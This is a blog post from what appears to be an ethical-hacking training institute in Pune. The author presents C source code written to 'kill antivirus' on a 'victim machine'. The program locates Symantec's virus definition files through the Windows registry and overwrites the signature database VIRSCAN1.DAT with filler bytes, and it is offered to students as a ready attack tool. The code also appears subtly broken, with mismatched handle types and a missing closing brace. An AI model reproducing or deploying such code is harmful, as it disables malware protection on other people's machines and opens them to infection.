Extreme Hacking | Sadik Shaikh
Advanced Ethical Hacking Institute in Pune
Hello friends recently in my CEH(Certified Ethical Hacker) class one of mine student told me that he is finding difficulty in bypassing the antivirus on the victim machine.
So I just gave a thought why not to create a program that will kill antivirus 🙂
Logic flowed through the mind and the code was executed successfully. This code is for all my dear students, go through the logic and create a new one for yourself. If you find any difficulty in understanding the logical flow you can write me at sadik.shaikh@extremehacking.org
Here is the code:
#include <windows.h>
int main()
{
HWND Lpbuff;
HKEY handle;
DWORD temp,size;
char buff[255],fName[255],dirName[255];
temp=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
“SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\”,0,KEY_READ,&handle);
if(temp!=ERROR_SUCCESS)
return 1;
size=sizeof(buff);
temp=RegQueryValueEx(handle,”CommonFilesDir”,0,&temp,buff,&size);
if(temp!=ERROR_SUCCESS)
return 1;
RegCloseKey(handle);
strcat(buff,”\\Symantec Shared\\virusdefs\\”);
strcpy(fName,buff);
strcat(buff,”definfo.dat”);
SetFileAttributes(buff,FILE_ATTRIBUTE_ARCHIVE);
GetPrivateProfileString(“DefDates”,”CurDefs”,””,dirName,sizeof(dirName),buff);
if(!strcmp(dirName,””))
return 1;
strcat(fName,dirName);
strcat(fName,”\\VIRSCAN1.DAT”);
SetFileAttributes(fName,FILE_ATTRIBUTE_ARCHIVE);
handle=CreateFile(fName,GENERIC_WRITE,FILE_SHARE_READ,NULL,
OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
if(handle==INVALID_HANDLE_VALUE)
return 1;
size=GetFileSize(handle,&temp)-32;
Lpbuff=GlobalAlloc(GMEM_FIXED,size);
if(!Lpbuff)
{
CloseHandle(handle);
return 1;
}
FillMemory(Lpbuff,size,0x90);
SetFilePointer(handle,32,0,FILE_BEGIN);
WriteFile(handle,Lpbuff,size,&temp,NULL);
CloseHandle(handle);
return 0;
www.extremehacking.org
CEHv9 CHFIv9 ECSAv9 CAST ENSA CCNA CCNA SECURITY MCITP RHCE CHECKPOINT ASA FIREWALL VMWARE CLOUD ANDROID IPHONE NETWORKING HARDWARE TRAINING INSTITUTE IN PUNE,Certified Ethical Hacking, Center For Advanced Security Training in India,IT Security Training Information Security Traning Courses in Pune, ceh certification in pune, Ethical Hacking Course in Pune